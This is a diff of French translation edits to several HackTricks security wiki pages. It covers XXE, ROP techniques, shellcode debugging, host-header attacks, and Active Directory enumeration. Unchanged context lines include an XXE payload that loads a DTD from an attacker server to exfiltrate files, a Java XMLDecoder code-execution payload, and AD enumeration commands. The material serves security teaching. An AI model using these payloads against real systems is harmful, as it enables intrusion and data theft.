Pour modifier la requête, vous pouvez utiliser une extension Burp nommée “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -423,12 +424,12 @@ Vous pouvez utiliser la \[**"Encode Recipe**" de cyberchef ici ]\(\[[https://gch
|
||||
|
||||
Si le web utilise PHP, au lieu d'utiliser `file:/`, vous pouvez utiliser **php wrappers** `php://filter/convert.base64-encode/resource=` pour **accéder aux fichiers internes**.
|
||||
|
||||
Si le web utilise Java, vous pouvez vérifier le [**protocole jar:**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
Si le web utilise Java, vous pouvez vérifier le [**jar: protocole**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### Entités HTML
|
||||
|
||||
Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encoding avec **des entités html** et ensuite l'appeler pour **charger un dtd**.\
|
||||
Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encoding avec **entités html** et ensuite l'appeler pour **charger un dtd**.\
|
||||
Notez que les **entités HTML** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -443,7 +444,7 @@ Exemple de DTD :
|
||||
%abt;
|
||||
%exfil;
|
||||
```
|
||||
## PHP Wrappers
|
||||
## Enveloppes PHP
|
||||
|
||||
### Base64
|
||||
|
||||
@ -513,7 +514,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Cette approche révèle que l'Agent Utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité de récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
|
||||
Cette approche révèle que l'User Agent indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité à récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
|
||||
|
||||
Exfiltration de données basée sur les erreurs Pour surmonter cette limitation, une approche basée sur les erreurs est employée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible :
|
||||
```xml
|
||||
@ -606,11 +607,11 @@ Utiliser le filtre base64 de PHP
|
||||
</channel>
|
||||
</rss>
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
## Java XMLDecoder XEE à RCE
|
||||
|
||||
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
|
||||
|
||||
### Using Runtime().exec()
|
||||
### Utilisation de Runtime().exec()
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
@ -672,7 +673,9 @@ XMLDecoder est une classe Java qui crée des objets basés sur un message XML. S
|
||||
```
|
||||
## Outils
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
@ -685,5 +688,4 @@ XMLDecoder est une classe Java qui crée des objets basés sur un message XML. S
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,14 +10,16 @@ La fonction **`_dl_runtime_resolve`** prend depuis la pile des références à c
|
||||
|
||||
Par conséquent, il est possible de **falsifier toutes ces structures** pour faire en sorte que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple, **`system('/bin/sh')`**).
|
||||
|
||||
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées afin qu'elles soient stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`** avec l'adresse de `$'/bin/sh'`.
|
||||
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`** avec l'adresse de `$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv.md) ou [SROP](srop-sigreturn-oriented-programming.md)) et qu'il n'y a pas de moyens de divulguer les adresses libc.
|
||||
|
||||
Vous pouvez trouver une meilleure explication de cette technique dans la seconde moitié de la vidéo :
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Structures
|
||||
|
||||
@ -27,7 +29,7 @@ Il est nécessaire de falsifier 3 structures : **`JMPREL`**, **`STRTAB`** et **`
|
||||
|
||||
1. Écrire des structures fausses à un endroit
|
||||
2. Définir le premier argument de system (`$rdi = &'/bin/sh'`)
|
||||
3. Mettre sur la pile les adresses des structures pour appeler **`_dl_runtime_resolve`**
|
||||
3. Placer sur la pile les adresses des structures pour appeler **`_dl_runtime_resolve`**
|
||||
4. **Appeler** `_dl_runtime_resolve`
|
||||
5. **`system`** sera résolu et appelé avec `'/bin/sh'` comme argument
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ Après que le gestionnaire de signaux ait terminé, le programme doit **reprendr
|
||||
La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs de la pile**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
|
||||
|
||||
> [!CAUTION]
|
||||
> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs de registre** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs de registre et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
|
||||
> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
|
||||
|
||||
Notez comment cela serait un **type de Ret2syscall** qui facilite beaucoup le contrôle des paramètres pour appeler d'autres Ret2syscalls :
|
||||
|
||||
@ -21,7 +21,9 @@ rop-syscall-execv.md
|
||||
|
||||
Pour une meilleure explication, consultez également :
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Exemple
|
||||
|
||||
|
||||
@ -156,13 +156,15 @@ cheat-engine.md
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
{{#ref}}
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcodes
|
||||
|
||||
### Débogage d'un shellcode avec blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace de mémoire, va **vous indiquer** l'**adresse mémoire** où le shellcode a été alloué et va **arrêter** l'exécution.\
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace de mémoire, vous **indiquer** l'**adresse mémoire** où le shellcode a été alloué et va **arrêter** l'exécution.\
|
||||
Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus et mettre un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. De cette façon, vous déboguerez le shellcode.
|
||||
|
||||
La page des versions github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
@ -182,9 +184,9 @@ Vous pouvez télécharger une version compilée de [jmp2it sur la page des versi
|
||||
|
||||
### Débogage de shellcode avec Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. Avec Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement.
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. En utilisant Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement.
|
||||
|
||||
Notez que Cutter vous permet d'"Ouvrir un fichier" et "Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode en tant que fichier, il l'a décompilé correctement, mais quand je l'ai ouvert en tant que shellcode, il ne l'a pas fait :
|
||||
Notez que Cutter vous permet d'"Ouvrir un fichier" et "Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode en tant que fichier, il l'a décompilé correctement, mais quand je l'ai ouvert en tant que shellcode, ce n'était pas le cas :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -194,7 +196,7 @@ Pour commencer l'émulation à l'endroit que vous souhaitez, définissez un poin
|
||||
|
||||
.png>)
|
||||
|
||||
Vous pouvez voir la pile par exemple à l'intérieur d'un dump hexadécimal :
|
||||
Vous pouvez voir la pile par exemple dans un dump hexadécimal :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -214,11 +216,11 @@ scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner le
|
||||
|
||||
.png>)
|
||||
|
||||
L'option **Create Dump** va dumper le shellcode final si des modifications sont apportées au shellcode dynamiquement en mémoire (utile pour télécharger le shellcode décodé). L'option **start offset** peut être utile pour démarrer le shellcode à un décalage spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que les options expliquées précédemment sont meilleures pour cela car vous pourrez utiliser Ida ou x64dbg).
|
||||
L'option **Create Dump** va dumper le shellcode final si des modifications sont apportées au shellcode dynamiquement en mémoire (utile pour télécharger le shellcode décodé). L'**offset de départ** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que les options expliquées précédemment sont meilleures pour cela car vous pourrez utiliser Ida ou x64dbg).
|
||||
|
||||
### Désassemblage avec CyberChef
|
||||
|
||||
Téléchargez votre fichier shellcode en entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
@ -243,7 +245,7 @@ Pour trouver le **point d'entrée**, recherchez les fonctions par `::main` comme
|
||||
.png>)
|
||||
|
||||
Dans ce cas, le binaire s'appelait authenticator, donc il est assez évident que c'est la fonction principale intéressante.\
|
||||
Ayant le **nom** des **fonctions** appelées, recherchez-les sur **Internet** pour en apprendre davantage sur leurs **entrées** et **sorties**.
|
||||
Ayant le **nom** des **fonctions** appelées, recherchez-les sur **Internet** pour en savoir plus sur leurs **entrées** et **sorties**.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
@ -282,7 +284,7 @@ Si vous obtenez le **binaire** d'un jeu GBA, vous pouvez utiliser différents ou
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin Ghidra
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin Ghidra
|
||||
|
||||
Dans [**no$gba**](https://problemkaputt.de/gba.htm), dans _**Options --> Emulation Setup --> Controls**_\*\* \*\* vous pouvez voir comment appuyer sur les **boutons** de la Game Boy Advance
|
||||
Dans [**no$gba**](https://problemkaputt.de/gba.htm), dans _**Options --> Configuration de l'émulation --> Contrôles**_\*\* \*\* vous pouvez voir comment appuyer sur les **boutons** de la Game Boy Advance
|
||||
|
||||
.png>)
|
||||
|
||||
@ -368,11 +370,11 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve **la valeur du bouton pressé**) avec certaines valeurs :
|
||||
|
||||
- Tout d'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran.
|
||||
- Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||
- Dans ce cas, la var **`DAT_030000d8`** est comparée à 0xf3 et si la valeur est la même, un certain code est exécuté.
|
||||
- D'abord, il est comparé avec la **valeur 4** (**bouton SELECT**) : Dans le défi, ce bouton efface l'écran.
|
||||
- Ensuite, il est comparé avec la **valeur 8** (**bouton START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||
- Dans ce cas, la var **`DAT_030000d8`** est comparée avec 0xf3 et si la valeur est la même, un certain code est exécuté.
|
||||
- Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après être entré dans le code.\
|
||||
**Si** moins de 8, quelque chose qui implique **d'ajouter** des valeurs à **`DAT_030000d8`** est fait (en gros, cela ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
||||
**Si** moins de 8, quelque chose qui implique **d'ajouter** des valeurs à \*\*`DAT_030000d8` \*\* est fait (en gros, cela ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
||||
|
||||
Donc, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 dont l'addition résultante est 0xf3.**
|
||||
|
||||
@ -380,7 +382,9 @@ Donc, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuy
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=VVbRe7wr3G4
|
||||
{{#endref}}
|
||||
|
||||
## Cours
|
||||
|
||||
|
||||
4
src/robots.txt
Normal file
4
src/robots.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Sitemap: https://www.hacktricks.wiki/sitemap.xml
|
||||
|
||||
User-agent: *
|
||||
Disallow:
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
||||
@ -1,16 +1,18 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Charges utiles de base
|
||||
# Payloads de base
|
||||
|
||||
- **Liste simple :** Juste une liste contenant une entrée sur chaque ligne
|
||||
- **Fichier d'exécution :** Une liste lue en temps d'exécution (non chargée en mémoire). Pour prendre en charge de grandes listes.
|
||||
- **Modification de cas :** Appliquer des modifications à une liste de chaînes (Pas de changement, en minuscules, en MAJUSCULES, en nom propre - Première lettre en majuscule et le reste en minuscules -, en nom propre - Première lettre en majuscule et le reste reste le même -).
|
||||
- **Liste simple :** Juste une liste contenant une entrée par ligne
|
||||
- **Fichier d'exécution :** Une liste lue en temps d'exécution (non chargée en mémoire). Pour supporter de grandes listes.
|
||||
- **Modification de cas :** Appliquer des changements à une liste de chaînes (Pas de changement, en minuscules, en MAJUSCULES, en nom propre - Première lettre en majuscule et le reste en minuscules -, en nom propre - Première lettre en majuscule et le reste reste le même -).
|
||||
- **Nombres :** Générer des nombres de X à Y en utilisant un pas de Z ou aléatoirement.
|
||||
- **Brute Forcer :** Ensemble de caractères, longueur min & max.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Charge utile pour exécuter des commandes et récupérer la sortie via des requêtes DNS à burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload pour exécuter des commandes et récupérer la sortie via des requêtes DNS à burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
### En-tête d'hôte
|
||||
|
||||
Plusieurs fois, le back-end fait confiance à l'**en-tête d'hôte** pour effectuer certaines actions. Par exemple, il pourrait utiliser sa valeur comme le **domaine pour envoyer une réinitialisation de mot de passe**. Donc, lorsque vous recevez un e-mail avec un lien pour réinitialiser votre mot de passe, le domaine utilisé est celui que vous avez mis dans l'en-tête d'hôte. Ensuite, vous pouvez demander la réinitialisation du mot de passe d'autres utilisateurs et changer le domaine pour un contrôlé par vous afin de voler leurs codes de réinitialisation de mot de passe. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Plusieurs fois, le back-end fait confiance à l'**en-tête d'hôte** pour effectuer certaines actions. Par exemple, il pourrait utiliser sa valeur comme **domaine pour envoyer une réinitialisation de mot de passe**. Donc, lorsque vous recevez un e-mail avec un lien pour réinitialiser votre mot de passe, le domaine utilisé est celui que vous avez mis dans l'en-tête d'hôte. Ensuite, vous pouvez demander la réinitialisation du mot de passe d'autres utilisateurs et changer le domaine pour un contrôlé par vous afin de voler leurs codes de réinitialisation de mot de passe. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Notez qu'il est possible que vous n'ayez même pas besoin d'attendre que l'utilisateur clique sur le lien de réinitialisation du mot de passe pour obtenir le jeton, car peut-être même **les filtres anti-spam ou d'autres dispositifs/bots intermédiaires cliqueront dessus pour l'analyser**.
|
||||
@ -20,15 +20,17 @@ Essayez de vous enregistrer en tant qu'utilisateur déjà existant. Essayez éga
|
||||
|
||||
### Prise de contrôle des e-mails
|
||||
|
||||
Enregistrez un e-mail, avant de le confirmer, changez l'e-mail, puis, si le nouvel e-mail de confirmation est envoyé à la première adresse e-mail enregistrée, vous pouvez prendre le contrôle de n'importe quel e-mail. Ou si vous pouvez activer le deuxième e-mail confirmant le premier, vous pouvez également prendre le contrôle de n'importe quel compte.
|
||||
Enregistrez un e-mail, avant de le confirmer, changez l'e-mail, puis, si le nouvel e-mail de confirmation est envoyé au premier e-mail enregistré, vous pouvez prendre le contrôle de n'importe quel e-mail. Ou si vous pouvez activer le deuxième e-mail confirmant le premier, vous pouvez également prendre le contrôle de n'importe quel compte.
|
||||
|
||||
### Accéder au service desk interne des entreprises utilisant Atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### Méthode TRACE
|
||||
|
||||
Les développeurs peuvent oublier de désactiver diverses options de débogage dans l'environnement de production. Par exemple, la méthode HTTP `TRACE` est conçue à des fins de diagnostic. Si elle est activée, le serveur web répondra aux requêtes utilisant la méthode `TRACE` en écho dans la réponse de la requête exacte qui a été reçue. Ce comportement est souvent inoffensif, mais peut parfois entraîner une divulgation d'informations, comme le nom des en-têtes d'authentification internes qui peuvent être ajoutés aux requêtes par des proxies inverses.
|
||||
Les développeurs peuvent oublier de désactiver diverses options de débogage dans l'environnement de production. Par exemple, la méthode HTTP `TRACE` est conçue à des fins de diagnostic. Si elle est activée, le serveur web répondra aux requêtes utilisant la méthode `TRACE` en écho dans la réponse de la requête exacte qui a été reçue. Ce comportement est souvent inoffensif, mais conduit parfois à une divulgation d'informations, comme le nom des en-têtes d'authentification internes qui peuvent être ajoutés aux requêtes par des proxies inverses.
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@ Les concepts clés au sein de **Active Directory** incluent :
|
||||
|
||||
1. **Répertoire** – Contient toutes les informations relatives aux objets Active Directory.
|
||||
2. **Objet** – Désigne des entités au sein du répertoire, y compris des **utilisateurs**, des **groupes** ou des **dossiers partagés**.
|
||||
3. **Domaine** – Sert de conteneur pour les objets du répertoire, avec la capacité de plusieurs domaines à coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
|
||||
3. **Domaine** – Sert de conteneur pour les objets du répertoire, avec la capacité pour plusieurs domaines de coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
|
||||
4. **Arbre** – Un regroupement de domaines partageant un domaine racine commun.
|
||||
5. **Forêt** – Le sommet de la structure organisationnelle dans Active Directory, composée de plusieurs arbres avec des **relations de confiance** entre eux.
|
||||
|
||||
@ -44,7 +44,7 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
|
||||
- Scanner le réseau, trouver des machines et des ports ouverts et essayer d'**exploiter des vulnérabilités** ou d'**extraire des crédentiels** à partir d'eux (par exemple, [les imprimantes pourraient être des cibles très intéressantes](ad-information-in-printers.md)).
|
||||
- Énumérer le DNS pourrait donner des informations sur les serveurs clés dans le domaine tels que web, imprimantes, partages, vpn, médias, etc.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Consultez la [**Méthodologie de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de faire cela.
|
||||
- Consultez la [**Méthodologie de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de procéder.
|
||||
- **Vérifiez l'accès nul et invité sur les services smb** (cela ne fonctionnera pas sur les versions modernes de Windows) :
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -169,7 +169,7 @@ Concernant [**ASREPRoast**](asreproast.md), vous pouvez maintenant trouver chaqu
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Extraction de tous les utilisateurs de domaine**
|
||||
|
||||
Il est très facile d'obtenir tous les noms d'utilisateur de domaine depuis Windows (`net user /domain`, `Get-DomainUser` ou `wmic useraccount get name,sid`). Sous Linux, vous pouvez utiliser : `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
Il est très facile d'obtenir tous les noms d'utilisateur du domaine depuis Windows (`net user /domain`, `Get-DomainUser` ou `wmic useraccount get name,sid`). Sous Linux, vous pouvez utiliser : `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Même si cette section d'énumération semble petite, c'est la partie la plus importante de tout. Accédez aux liens (principalement celui de cmd, powershell, powerview et BloodHound), apprenez à énumérer un domaine et pratiquez jusqu'à ce que vous vous sentiez à l'aise. Lors d'une évaluation, ce sera le moment clé pour trouver votre chemin vers DA ou pour décider que rien ne peut être fait.
